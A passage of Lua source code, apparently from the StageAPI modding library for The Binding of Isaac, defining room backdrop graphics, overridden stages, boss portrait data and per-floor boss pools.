Cellar = StageAPI.RoomGfx(BackdropType.CELLAR, StageAPI.BaseGridGfx.Cellar, "_default"),
BurningBasement = StageAPI.RoomGfx(BackdropType.BURNT_BASEMENT, StageAPI.BaseGridGfx.BurningBasement, "_default"),
Caves = StageAPI.RoomGfx(BackdropType.CAVES, StageAPI.BaseGridGfx.Caves, "_default"),
Catacombs = StageAPI.RoomGfx(BackdropType.CATACOMBS, StageAPI.BaseGridGfx.Catacombs, "_default"),
FloodedCaves = StageAPI.RoomGfx(BackdropType.FLOODED_CAVES, StageAPI.BaseGridGfx.FloodedCaves, "_default"),
Depths = StageAPI.RoomGfx(BackdropType.DEPTHS, StageAPI.BaseGridGfx.Depths, "_default"),
Necropolis = StageAPI.RoomGfx(BackdropType.NECROPOLIS, StageAPI.BaseGridGfx.Necropolis, "_default"),
DankDepths = StageAPI.RoomGfx(BackdropType.DANK_DEPTHS, StageAPI.BaseGridGfx.DankDepths, "_default"),
Womb = StageAPI.RoomGfx(BackdropType.WOMB, StageAPI.BaseGridGfx.Womb, "_default"),
Utero = StageAPI.RoomGfx(BackdropType.UTERO, StageAPI.BaseGridGfx.Utero, "_default"),
ScarredWomb = StageAPI.RoomGfx(BackdropType.SCARRED_WOMB, StageAPI.BaseGridGfx.ScarredWomb, "_default"),
BlueWomb = StageAPI.RoomGfx(BackdropType.BLUE_WOMB, StageAPI.BaseGridGfx.BlueWomb, "_default"),
Sheol = StageAPI.RoomGfx(BackdropType.SHEOL, StageAPI.BaseGridGfx.Sheol, "_default"),
Cathedral = StageAPI.RoomGfx(BackdropType.CATHEDRAL, StageAPI.BaseGridGfx.Cathedral, "_default"),
DarkRoom = StageAPI.RoomGfx(BackdropType.DARKROOM, StageAPI.BaseGridGfx.DarkRoom, "_default"),
Chest = StageAPI.RoomGfx(BackdropType.CHEST, StageAPI.BaseGridGfx.Chest, "_default"),
Downpour = StageAPI.RoomGfx(BackdropType.DOWNPOUR, StageAPI.BaseGridGfx.Downpour, "_default"),
Dross = StageAPI.RoomGfx(BackdropType.DROSS, StageAPI.BaseGridGfx.Dross, "_default"),
Mines = StageAPI.RoomGfx(BackdropType.MINES, StageAPI.BaseGridGfx.Mines, "_default"),
Ashpit = StageAPI.RoomGfx(BackdropType.ASHPIT, StageAPI.BaseGridGfx.Ashpit, "_default"),
Mausoleum = StageAPI.RoomGfx(BackdropType.MAUSOLEUM, StageAPI.BaseGridGfx.Mausoleum, "_default"),
Gehenna = StageAPI.RoomGfx(BackdropType.GEHENNA, StageAPI.BaseGridGfx.Gehenna, "_default"),
Corpse = StageAPI.RoomGfx(BackdropType.CORPSE, StageAPI.BaseGridGfx.Corpse, "_default"),
-- Special Rooms
Shop = StageAPI.RoomGfx(BackdropType.SHOP, StageAPI.BaseGridGfx.Basement, "_default"),
Library = StageAPI.RoomGfx(BackdropType.LIBRARY, StageAPI.BaseGridGfx.Basement, "_default"),
Secret = StageAPI.RoomGfx(BackdropType.SECRET, StageAPI.BaseGridGfx.Secret, "_default"),
Barren = StageAPI.RoomGfx(BackdropType.BARREN, StageAPI.BaseGridGfx.Basement, "_default"),
Isaacs = StageAPI.RoomGfx(BackdropType.ISAAC, StageAPI.BaseGridGfx.Basement, "_default"),
Arcade = StageAPI.RoomGfx(BackdropType.ARCADE, StageAPI.BaseGridGfx.Basement, "_default"),
Dice = StageAPI.RoomGfx(BackdropType.DICE, StageAPI.BaseGridGfx.Basement, "_default"),
BlueSecret = StageAPI.RoomGfx(BackdropType.BLUE_WOMB_PASS, nil, "_default")
}
end
do -- Overriden Stages Reimplementation
-- Catacombs --
StageAPI.Catacombs = StageAPI.CustomStage("Catacombs", nil, true)
StageAPI.Catacombs:SetStageMusic(Music.MUSIC_CATACOMBS)
StageAPI.Catacombs:SetBossMusic({Music.MUSIC_BOSS, Music.MUSIC_BOSS2}, Music.MUSIC_BOSS_OVER)
StageAPI.Catacombs.GenerateLevel = StageAPI.GenerateBaseLevel
StageAPI.Catacombs.DisplayName = "Catacombs I"
StageAPI.CatacombsTwo = StageAPI.Catacombs("Catacombs 2")
StageAPI.CatacombsTwo.DisplayName = "Catacombs II"
StageAPI.CatacombsXL = StageAPI.Catacombs("Catacombs XL")
StageAPI.CatacombsXL.DisplayName = "Catacombs XL"
StageAPI.Catacombs:SetXLStage(StageAPI.CatacombsXL)
StageAPI.CatacombsGreed = StageAPI.Catacombs("Catacombs Greed")
StageAPI.CatacombsGreed.DisplayName = "Catacombs"
StageAPI.AddOverrideStage("CatacombsOne", LevelStage.STAGE2_1, StageType.STAGETYPE_WOTL, StageAPI.Catacombs)
StageAPI.AddOverrideStage("CatacombsTwo", LevelStage.STAGE2_2, StageType.STAGETYPE_WOTL, StageAPI.CatacombsTwo)
StageAPI.AddOverrideStage("CatacombsGreed", LevelStage.STAGE2_GREED, StageType.STAGETYPE_WOTL, StageAPI.CatacombsGreed, true)
StageAPI.Catacombs:SetReplace(StageAPI.StageOverride.CatacombsOne)
StageAPI.CatacombsTwo:SetReplace(StageAPI.StageOverride.CatacombsTwo)
-- Necropolis --
StageAPI.NecropolisOverlays = {
StageAPI.Overlay("stageapi/floors/necropolis/overlay.anm2", Vector(0.33, -0.15), nil, nil, 0.5),
StageAPI.Overlay("stageapi/floors/necropolis/overlay.anm2", Vector(-0.33, -0.15), Vector(128, 128), nil, 0.5),
StageAPI.Overlay("stageapi/floors/necropolis/overlay.anm2", Vector(0.33, 0.1), nil, nil, 0.5),
}
StageAPI.Necropolis = StageAPI.CustomStage("Necropolis", nil, true)
StageAPI.Necropolis:SetStageMusic(Music.MUSIC_NECROPOLIS)
StageAPI.Necropolis:SetBossMusic({Music.MUSIC_BOSS, Music.MUSIC_BOSS2}, Music.MUSIC_BOSS_OVER)
StageAPI.Necropolis.GenerateLevel = StageAPI.GenerateBaseLevel
StageAPI.Necropolis.DisplayName = "Necropolis I"
StageAPI.NecropolisTwo = StageAPI.Necropolis("Necropolis 2")
StageAPI.NecropolisTwo.DisplayName = "Necropolis II"
StageAPI.NecropolisXL = StageAPI.Necropolis("Necropolis XL")
StageAPI.NecropolisXL.DisplayName = "Necropolis XL"
StageAPI.Necropolis:SetXLStage(StageAPI.NecropolisXL)
StageAPI.NecropolisGreed = StageAPI.Necropolis("Necropolis Greed")
StageAPI.NecropolisGreed.DisplayName = "Necropolis"
StageAPI.AddOverrideStage("NecropolisOne", LevelStage.STAGE3_1, StageType.STAGETYPE_WOTL, StageAPI.Necropolis)
StageAPI.AddOverrideStage("NecropolisTwo", LevelStage.STAGE3_2, StageType.STAGETYPE_WOTL, StageAPI.NecropolisTwo)
StageAPI.AddOverrideStage("NecropolisGreed", LevelStage.STAGE3_GREED, StageType.STAGETYPE_WOTL, StageAPI.NecropolisGreed, true)
-- Utero --
StageAPI.Utero = StageAPI.CustomStage("Utero", nil, true)
StageAPI.Utero:SetStageMusic(Music.MUSIC_UTERO)
StageAPI.Utero:SetBossMusic({Music.MUSIC_BOSS, Music.MUSIC_BOSS2}, Music.MUSIC_BOSS_OVER)
StageAPI.Utero.GenerateLevel = StageAPI.GenerateBaseLevel
StageAPI.Utero.DisplayName = "Utero I"
StageAPI.UteroTwo = StageAPI.Utero("Utero 2")
StageAPI.UteroTwo.DisplayName = "Utero II"
StageAPI.UteroXL = StageAPI.Utero("Utero XL")
StageAPI.UteroXL.DisplayName = "Utero XL"
StageAPI.Utero:SetXLStage(StageAPI.UteroXL)
StageAPI.UteroGreed = StageAPI.Utero("Utero Greed")
StageAPI.UteroGreed.DisplayName = "Utero"
StageAPI.AddOverrideStage("UteroOne", LevelStage.STAGE4_1, StageType.STAGETYPE_WOTL, StageAPI.Utero)
StageAPI.AddOverrideStage("UteroTwo", LevelStage.STAGE4_2, StageType.STAGETYPE_WOTL, StageAPI.UteroTwo)
StageAPI.AddOverrideStage("UteroGreed", LevelStage.STAGE4_GREED, StageType.STAGETYPE_WOTL, StageAPI.UteroGreed, true)
end
do -- Boss Animation Data
end
do -- Boss Data
local function quickBossData(name, entity, ignoreEntity, mergeInAfter, filesName)
local prefix = "gfx/ui/boss/"
local midfix = ""
if entity then
if #entity > 0 then
entity = {
Type = entity[1],
Variant = entity[2],
SubType = entity[3]
}
end
if not ignoreEntity then
midfix = tostring(entity.Type) .. "." .. tostring(entity.Variant) .. "_"
end
end
local cleanName = string.lower(filesName or name)
cleanName = string.gsub(cleanName, " ", "")
cleanName = string.gsub(cleanName, "%.", "")
cleanName = string.gsub(cleanName, "'", "")
cleanName = string.gsub(cleanName, "%-", "")
local bossData = {
Entity = entity,
Portrait = prefix .. "portrait_" .. midfix .. cleanName .. ".png",
Bossname = prefix .. "bossname_" .. midfix .. cleanName .. ".png",
BaseGameBoss = true
}
if mergeInAfter then
bossData = StageAPI.Merged(bossData, mergeInAfter)
end
return name, bossData
end
StageAPI.AddBossData(quickBossData("Larry Jr", {19, 0}))
StageAPI.AddBossData(quickBossData("The Hollow", {19, 1}))
StageAPI.AddBossData(quickBossData("Monstro", {20, 0}))
StageAPI.AddBossData(quickBossData("Chub", {28, 0}))
StageAPI.AddBossData(quickBossData("Chad", {28, 1}))
StageAPI.AddBossData(quickBossData("Carrion Queen", {28, 2}))
StageAPI.AddBossData(quickBossData("Gurdy", {36, 0}))
StageAPI.AddBossData(quickBossData("Monstro 2", {43, 0}))
StageAPI.AddBossData(quickBossData("Gish", {43, 1}))
StageAPI.AddBossData(quickBossData("Mom", {45, 0}))
StageAPI.AddBossData(quickBossData("Pin", {62, 0}))
StageAPI.AddBossData(quickBossData("Scolex", {62, 1}))
StageAPI.AddBossData(quickBossData("The Frail", {62, 2}, true))
StageAPI.AddBossData(quickBossData("Famine", {63, 0}, nil, {Horseman = true}))
StageAPI.AddBossData(quickBossData("Pestilence", {64, 0}, nil, {Horseman = true}))
StageAPI.AddBossData(quickBossData("War", {65, 0}, nil, {Horseman = true}))
StageAPI.AddBossData(quickBossData("Conquest", {65, 1}, nil, {Horseman = true}))
StageAPI.AddBossData(quickBossData("Death", {66, 0}, nil, {Horseman = true}))
StageAPI.AddBossData(quickBossData("Duke of Flies", {67, 0}))
StageAPI.AddBossData(quickBossData("The Husk", {67, 1}))
StageAPI.AddBossData(quickBossData("Peep", {68, 0}))
StageAPI.AddBossData(quickBossData("The Bloat", {68, 1}, nil, nil, "bloat"))
StageAPI.AddBossData(quickBossData("Loki", {69, 0}))
StageAPI.AddBossData(quickBossData("Lokii", {69, 1}))
StageAPI.AddBossData(quickBossData("Fistula", {71, 0}))
StageAPI.AddBossData(quickBossData("Teratoma", {71, 1}))
StageAPI.AddBossData(quickBossData("Blastocyst", {74, 0}))
StageAPI.AddBossData(quickBossData("Mom's Heart", {78, 0}))
StageAPI.AddBossData(quickBossData("It Lives", {78, 1}))
StageAPI.AddBossData(quickBossData("Gemini", {79, 0}))
StageAPI.AddBossData(quickBossData("Steven", {79, 1}))
StageAPI.AddBossData(quickBossData("Blighted Ovum", {79, 2}))
StageAPI.AddBossData(quickBossData("The Fallen", {81, 0}))
StageAPI.AddBossData(quickBossData("Krampus", {81, 1}))
StageAPI.AddBossData(quickBossData("Headless Horseman", {82, 0}))
StageAPI.AddBossData(quickBossData("Satan", {84, 0}))
StageAPI.AddBossData(quickBossData("Mask of Infamy", {97, 0}))
StageAPI.AddBossData(quickBossData("Gurdy Jr", {99, 0}))
StageAPI.AddBossData(quickBossData("Widow", {100, 0}))
StageAPI.AddBossData(quickBossData("The Wretched", {100, 1}))
StageAPI.AddBossData(quickBossData("Daddy Long Legs", {101, 0}))
StageAPI.AddBossData(quickBossData("Triachnid", {101, 1}))
StageAPI.AddBossData(quickBossData("Isaac", {102, 0}, nil, {Bossname = "gfx/ui/boss/playername_01_isaac.png"}))
StageAPI.AddBossData(quickBossData("Blue Baby", {102, 1}))
StageAPI.AddBossData(quickBossData("The Haunt", {260, 0}))
StageAPI.AddBossData(quickBossData("Dingle", {261, 0}))
StageAPI.AddBossData(quickBossData("Dangle", {261, 1}, true))
StageAPI.AddBossData(quickBossData("Mega Maw", {262, 0}))
StageAPI.AddBossData(quickBossData("The Gate", {263, 0}, nil, nil, "megamaw2"))
StageAPI.AddBossData(quickBossData("Mega Fatty", {264, 0}))
StageAPI.AddBossData(quickBossData("The Cage", {265, 0}, nil, nil, "fatty2"))
StageAPI.AddBossData(quickBossData("Mama Gurdy", {266, 0}))
StageAPI.AddBossData(quickBossData("Dark One", {267, 0}))
StageAPI.AddBossData(quickBossData("The Adversary", {268, 0}, nil, nil, "darkone2"))
StageAPI.AddBossData(quickBossData("Polycephalus", {269, 0}))
StageAPI.AddBossData(quickBossData("Mr. Fred", {270, 0}, nil, nil, "megafred"))
StageAPI.AddBossData(quickBossData("The Lamb", {273, 0}))
StageAPI.AddBossData(quickBossData("Mega Satan", {274, 0}))
StageAPI.AddBossData(quickBossData("Gurglings", {276, 0}, nil, {Entity = {Type = 276, Variant = 1}}))
StageAPI.AddBossData(quickBossData("Turdlings", {276, 2}, true))
StageAPI.AddBossData(quickBossData("The Stain", {401, 0}))
StageAPI.AddBossData(quickBossData("Brownie", {402, 0}))
StageAPI.AddBossData(quickBossData("The Forsaken", {403, 0}))
StageAPI.AddBossData(quickBossData("Little Horn", {404, 0}))
StageAPI.AddBossData(quickBossData("Rag Man", {405, 0}))
StageAPI.AddBossData(quickBossData("Ultra Greed", {406, 0}))
StageAPI.AddBossData(quickBossData("Hush", {407, 0}))
StageAPI.AddBossData(quickBossData("Rag Mega", {409, 0}, true))
StageAPI.AddBossData(quickBossData("Sisters Vis", {410, 0}, true))
StageAPI.AddBossData(quickBossData("Big Horn", {411, 0}, true))
StageAPI.AddBossData(quickBossData("Delirium", {412, 0}, true))
StageAPI.AddBossData(quickBossData("The Matriarch", {413, 0}, true, nil, "matriarch"))
-- Repentance
StageAPI.AddBossData(quickBossData("Tuff Twins", {19, 0}, true))
StageAPI.AddBossData(quickBossData("The Shell", {19, 1}, true, nil, "shell"))
StageAPI.AddBossData(quickBossData("Wormwood", {62, 3}, true))
StageAPI.AddBossData(quickBossData("The Pile", {269, 1}, true, nil, "polycephalus2"))
StageAPI.AddBossData(quickBossData("Reap Creep", {900, 0}, true))
StageAPI.AddBossData(quickBossData("Lil Blub", {901, 0}, true, nil, "beelzeblub"))
StageAPI.AddBossData(quickBossData("The Rainmaker", {902, 0}, true, nil, "rainmaker"))
StageAPI.AddBossData(quickBossData("The Visage", {903, 0}, true, nil, "visage"))
StageAPI.AddBossData(quickBossData("The Siren", {904, 0}, true, nil, "siren"))
StageAPI.AddBossData(quickBossData("The Heretic", {905, 0}, true, nil, "heretic"))
StageAPI.AddBossData(quickBossData("Hornfel", {906, 0}, true))
StageAPI.AddBossData(quickBossData("Great Gideon", {907, 0}, true, nil, "gideon"))
StageAPI.AddBossData(quickBossData("Baby Plum", {908, 0}, true))
StageAPI.AddBossData(quickBossData("The Scourge", {909, 0}, true, nil, "scourge"))
StageAPI.AddBossData(quickBossData("Chimera", {910, 0}, true))
StageAPI.AddBossData(quickBossData("Rotgut", {911, 0}, true))
StageAPI.AddBossData(quickBossData("Mother", {912, 0}, true))
StageAPI.AddBossData(quickBossData("Min-Min", {913, 0}, true))
StageAPI.AddBossData(quickBossData("Clog", {914, 0}, true))
StageAPI.AddBossData(quickBossData("Singe", {915, 0}, true))
StageAPI.AddBossData(quickBossData("Bumbino", {916, 0}, true))
StageAPI.AddBossData(quickBossData("Colostomia", {917, 0}, true))
StageAPI.AddBossData(quickBossData("Turdlet", {918, 0}, true))
StageAPI.AddBossData(quickBossData("Raglich", {919, 0}, true))
StageAPI.AddBossData(quickBossData("Horny Boys", {920, 0}, true))
StageAPI.AddBossData(quickBossData("Clutch", {921, 0}, true))
StageAPI.AddBossData(quickBossData("Dogma", {950, 0}, true))
end
do -- Base Floor Info
local function poolWrap(pool)
return {Pool = pool}
end
local settingStage = LevelStage.STAGE1_1
StageAPI.SetFloorInfo({
Prefix = "01_basement",
VsBgColor = Color(26/255, 14/255, 12/255, 1, 0, 0, 0),
VsDirtColor = Color(201/255, 114/255, 96/255, 1, 0, 0, 0),
Backdrop = BackdropType.BASEMENT,
RoomGfx = StageAPI.BaseRoomGfx.Basement,
Bosses = poolWrap{
{BossID = "Monstro"},
{BossID = "Gemini"},
{BossID = "Larry Jr"},
{BossID = "Dingle"},
{BossID = "Dangle", Weight = 0.25},
{BossID = "Gurglings"},
{BossID = "Turdlings", Weight = 0.25},
{BossID = "Steven", Weight = 0.25},
{BossID = "Duke of Flies"},
{BossID = "Little Horn"},
{BossID = "Baby Plum"},
{BossID = "Famine", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_ORIGINAL)
StageAPI.SetFloorInfo({
Prefix = "02_cellar",
VsBgColor = Color(26/255, 17/255, 13/255, 1, 0, 0, 0),
VsDirtColor = Color(229/255, 157/255, 111/255, 1, 0, 0, 0),
Backdrop = BackdropType.CELLAR,
RoomGfx = StageAPI.BaseRoomGfx.Cellar,
Bosses = poolWrap{
{BossID = "Pin"},
{BossID = "Widow"},
{BossID = "Blighted Ovum"},
{BossID = "The Haunt"},
{BossID = "Duke of Flies"},
{BossID = "Little Horn"},
{BossID = "Rag Man"},
{BossID = "Baby Plum"},
{BossID = "Famine", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_WOTL)
StageAPI.SetFloorInfo({
Prefix = "13_burning_basement",
VsBgColor = Color(28/255, 12/255, 10/255, 1, 0, 0, 0),
VsDirtColor = Color(252/255, 108/255, 90/255, 1, 0, 0, 0),
Backdrop = BackdropType.BURNT_BASEMENT,
RoomGfx = StageAPI.BaseRoomGfx.BurningBasement,
FloorTextColor = Color(0.5,0.5,0.5,1,0,0,0),
Bosses = poolWrap{
{BossID = "Monstro"},
{BossID = "Gemini"},
{BossID = "Larry Jr"},
{BossID = "Dingle"},
{BossID = "Dangle", Weight = 0.25},
{BossID = "Gurglings"},
{BossID = "Turdlings", Weight = 0.25},
{BossID = "Steven", Weight = 0.25},
{BossID = "Duke of Flies"},
{BossID = "Little Horn"},
{BossID = "Baby Plum"},
{BossID = "Famine", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_AFTERBIRTH)
StageAPI.SetFloorInfo({
Prefix = "01x_downpour",
VsBgColor = Color(29/255, 30/255, 32/255, 1, 0, 0, 0),
VsDirtColor = Color(149/255, 157/255, 167/255, 1, 0, 0, 0),
Backdrop = BackdropType.DOWNPOUR,
RoomGfx = StageAPI.BaseRoomGfx.Downpour,
Bosses = poolWrap{
{BossID = "Lil Blub"},
{BossID = "Wormwood"},
{BossID = "The Rainmaker"},
{BossID = "Min-Min"}
}
}, settingStage, StageType.STAGETYPE_REPENTANCE)
local downpourTwo = StageAPI.GetBaseFloorInfo(settingStage + 1, StageType.STAGETYPE_REPENTANCE, false)
downpourTwo.HasMirrorLevel = true
StageAPI.SetFloorInfo({
Prefix = "02x_dross",
VsBgColor = Color(35/255, 35/255, 29/255, 1, 0, 0, 0),
VsDirtColor = Color(179/255, 179/255, 143/255, 1, 0, 0, 0),
Backdrop = BackdropType.DROSS,
RoomGfx = StageAPI.BaseRoomGfx.Dross,
Bosses = poolWrap{
{BossID = "Lil Blub"},
{BossID = "Wormwood"},
{BossID = "Clog"},
{BossID = "Colostomia"},
{BossID = "Turdlet"}
}
}, settingStage, StageType.STAGETYPE_REPENTANCE_B)
local downpourTwo = StageAPI.GetBaseFloorInfo(settingStage + 1, StageType.STAGETYPE_REPENTANCE_B, false)
downpourTwo.HasMirrorLevel = true
settingStage = LevelStage.STAGE2_1
StageAPI.SetFloorInfo({
Prefix = "03_caves",
VsBgColor = Color(18/255, 13/255, 8/255, 1, 0, 0, 0),
VsDirtColor = Color(167/255, 111/255, 75/255, 1, 0, 0, 0),
Backdrop = BackdropType.CAVES,
RoomGfx = StageAPI.BaseRoomGfx.Caves,
Bosses = poolWrap{
{BossID = "Chub"},
{BossID = "Gurdy"},
{BossID = "Fistula"},
{BossID = "Mega Maw"},
{BossID = "Mega Fatty"},
{BossID = "Chad", Weight = 0.25},
{BossID = "Peep"},
{BossID = "Gurdy Jr"},
{BossID = "The Stain"},
{BossID = "Rag Mega"},
{BossID = "Big Horn"},
{BossID = "Bumbino"},
{BossID = "Pestilence", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_ORIGINAL)
StageAPI.SetFloorInfo({
Prefix = "04_catacombs",
VsBgColor = Color(15/255, 10/255, 8/255, 1, 0, 0, 0),
VsDirtColor = Color(135/255, 90/255, 80/255, 1, 0, 0, 0),
Backdrop = BackdropType.CATACOMBS,
RoomGfx = StageAPI.BaseRoomGfx.Catacombs,
Bosses = poolWrap{
{BossID = "The Hollow"},
{BossID = "The Husk"},
{BossID = "Dark One"},
{BossID = "Polycephalus"},
{BossID = "Carrion Queen"},
{BossID = "The Wretched"},
{BossID = "Peep"},
{BossID = "Gurdy Jr"},
{BossID = "The Forsaken"},
{BossID = "The Frail"},
{BossID = "Rag Mega"},
{BossID = "Big Horn"},
{BossID = "Bumbino"},
{BossID = "Pestilence", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_WOTL)
StageAPI.SetFloorInfo({
Prefix = "14_drowned_caves",
VsBgColor = Color(21/255, 28/255, 35/255, 1, 0, 0, 0),
VsDirtColor = Color(111/255, 147/255, 180/255, 1, 0, 0, 0),
Backdrop = BackdropType.FLOODED_CAVES,
RoomGfx = StageAPI.BaseRoomGfx.FloodedCaves,
Bosses = poolWrap{
{BossID = "Chub"},
{BossID = "Gurdy"},
{BossID = "Fistula"},
{BossID = "Mega Maw"},
{BossID = "Mega Fatty"},
{BossID = "Chad", Weight = 0.25},
{BossID = "Peep"},
{BossID = "Gurdy Jr"},
{BossID = "The Stain"},
{BossID = "The Forsaken"},
{BossID = "The Frail"},
{BossID = "Rag Mega"},
{BossID = "Big Horn"},
{BossID = "Bumbino"},
{BossID = "Pestilence", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_AFTERBIRTH)
StageAPI.SetFloorInfo({
Prefix = "03x_mines",
VsBgColor = Color(17/255, 15/255, 12/255, 1, 0, 0, 0),
VsDirtColor = Color(93/255, 85/255, 72/255, 1, 0, 0, 0),
Backdrop = BackdropType.MINES,
RoomGfx = StageAPI.BaseRoomGfx.Mines,
Bosses = poolWrap{
{BossID = "Reap Creep"},
{BossID = "Tuff Twins"},
{BossID = "Hornfel"},
{BossID = "Great Gideon"},
}
}, settingStage, StageType.STAGETYPE_REPENTANCE)
StageAPI.SetFloorInfo({
Prefix = "04x_ashpit",
VsBgColor = Color(12/255, 10/255, 10/255, 1, 0, 0, 0),
VsDirtColor = Color(106/255, 102/255, 94/255, 1, 0, 0, 0),
Backdrop = BackdropType.ASHPIT,
RoomGfx = StageAPI.BaseRoomGfx.Ashpit,
Bosses = poolWrap{
{BossID = "The Pile"},
{BossID = "The Shell"},
{BossID = "Singe"},
{BossID = "Great Gideon"},
}
}, settingStage, StageType.STAGETYPE_REPENTANCE_B)
settingStage = LevelStage.STAGE3_1
StageAPI.SetFloorInfo({
Prefix = "05_depths",
VsBgColor = Color(8/255, 8/255, 8/255, 1, 0, 0, 0),
VsDirtColor = Color(70/255, 70/255, 72/255, 1, 0, 0, 0),
Backdrop = BackdropType.DEPTHS,
RoomGfx = StageAPI.BaseRoomGfx.Depths,
Bosses = poolWrap{
{BossID = "The Cage"},
{BossID = "Monstro 2"},
{BossID = "The Gate"},
{BossID = "Gish", Weight = 0.25},
{BossID = "Loki"},
{BossID = "Brownie"},
{BossID = "Sisters Vis"},
{BossID = "Reap Creep"},
{BossID = "War", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_ORIGINAL)
StageAPI.SetFloorInfo({
Prefix = "06_necropolis",
VsBgColor = Color(10/255, 6/255, 6/255, 1, 0, 0, 0),
VsDirtColor = Color(88/255, 67/255, 54/255, 1, 0, 0, 0),
Backdrop = BackdropType.NECROPOLIS,
RoomGfx = StageAPI.BaseRoomGfx.Necropolis,
Bosses = poolWrap{
{BossID = "The Adversary"},
{BossID = "The Bloat"},
{BossID = "Mask of Infamy"},
{BossID = "Loki"},
{BossID = "Brownie"},
{BossID = "Sisters Vis"},
{BossID = "The Pile"},
{BossID = "War", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_WOTL)
StageAPI.SetFloorInfo({
Prefix = "15_dank_depths",
VsBgColor = Color(8/255, 8/255, 8/255, 1, 0, 0, 0),
VsDirtColor = Color(70/255, 70/255, 72/255, 1, 0, 0, 0),
Backdrop = BackdropType.DANK_DEPTHS,
RoomGfx = StageAPI.BaseRoomGfx.DankDepths,
Bosses = poolWrap{
{BossID = "The Cage"},
{BossID = "Monstro 2"},
{BossID = "The Gate"},
{BossID = "Gish", Weight = 0.25},
{BossID = "Loki"},
{BossID = "Brownie"},
{BossID = "Sisters Vis"},
{BossID = "Reap Creep"},
{BossID = "War", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_AFTERBIRTH)
StageAPI.SetFloorInfo({
Prefix = "05x_mausoleum",
VsBgColor = Color(14/255, 10/255, 14/255, 1, 0, 0, 0),
VsDirtColor = Color(70/255, 59/255, 72/255, 1, 0, 0, 0),
Backdrop = BackdropType.MAUSOLEUM,
RoomGfx = StageAPI.BaseRoomGfx.Mausoleum,
Bosses = poolWrap{
{BossID = "The Siren"},
{BossID = "The Heretic"},
}
}, settingStage, StageType.STAGETYPE_REPENTANCE)
StageAPI.SetFloorInfo({
Prefix = "06x_gehenna",
VsBgColor = Color(15/255, 4/255, 4/255, 1, 0, 0, 0),
VsDirtColor = Color(59/255, 41/255, 41/255, 1, 0, 0, 0),
Backdrop = BackdropType.GEHENNA,
RoomGfx = StageAPI.BaseRoomGfx.Gehenna,
Bosses = poolWrap{
{BossID = "The Visage"},
{BossID = "Horny Boys"},
}
}, settingStage, StageType.STAGETYPE_REPENTANCE_B)
for stageType = StageType.STAGETYPE_ORIGINAL, StageType.STAGETYPE_REPENTANCE_B do
if stageType ~= StageType.STAGETYPE_GREEDMODE then
local floorInfo = StageAPI.GetBaseFloorInfo(LevelStage.STAGE3_2, stageType, false)
floorInfo.Bosses = poolWrap{
{BossID = "Mom"}
}
end
end
settingStage = LevelStage.STAGE4_1
StageAPI.SetFloorInfo({
Prefix = "07_womb",
VsBgColor = Color(27/255, 3/255, 3/255, 1, 0, 0, 0),
VsDirtColor = Color(241/255, 28/255, 28/255, 1, 0, 0, 0),
Backdrop = BackdropType.WOMB,
RoomGfx = StageAPI.BaseRoomGfx.Womb,
Bosses = poolWrap{
{BossID = "Scolex"},
{BossID = "Mama Gurdy"},
{BossID = "Lokii"},
{BossID = "Mr. Fred"},
{BossID = "Blastocyst"},
{BossID = "The Matriarch", Weight = 0.25},
{BossID = "Death", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Conquest", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_ORIGINAL)
StageAPI.SetFloorInfo({
Prefix = "08_utero",
VsBgColor = Color(22/255, 6/255, 5/255, 1, 0, 0, 0),
VsDirtColor = Color(199/255, 60/255, 48/255, 1, 0, 0, 0),
Backdrop = BackdropType.UTERO,
RoomGfx = StageAPI.BaseRoomGfx.Utero,
Bosses = poolWrap{
{BossID = "Teratoma"},
{BossID = "Lokii"},
{BossID = "Daddy Long Legs"},
{BossID = "Triachnid"},
{BossID = "The Bloat"},
{BossID = "Death", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Conquest", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_WOTL)
StageAPI.SetFloorInfo({
Prefix = "16_scarred_womb",
VsBgColor = Color(42/255, 19/255, 10/255, 1, 0, 0, 0),
VsDirtColor = Color(247/255, 152/255, 88/255, 1, 0, 0, 0),
Backdrop = BackdropType.SCARRED_WOMB,
RoomGfx = StageAPI.BaseRoomGfx.ScarredWomb,
Bosses = poolWrap{
{BossID = "Scolex"},
{BossID = "Mama Gurdy"},
{BossID = "Lokii"},
{BossID = "Mr. Fred"},
{BossID = "Blastocyst"},
{BossID = "Triachnid"},
{BossID = "The Matriarch", Weight = 2},
{BossID = "Death", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Conquest", Horseman = true, OnlyReplaceHorsemen = true},
{BossID = "Headless Horseman", Horseman = true, OnlyReplaceHorsemen = true},
}
}, settingStage, StageType.STAGETYPE_AFTERBIRTH)
for stageType = StageType.STAGETYPE_ORIGINAL, StageType.STAGETYPE_AFTERBIRTH do
local floorInfo = StageAPI.GetBaseFloorInfo(LevelStage.STAGE4_2, stageType, false)
floorInfo.Bosses = poolWrap{
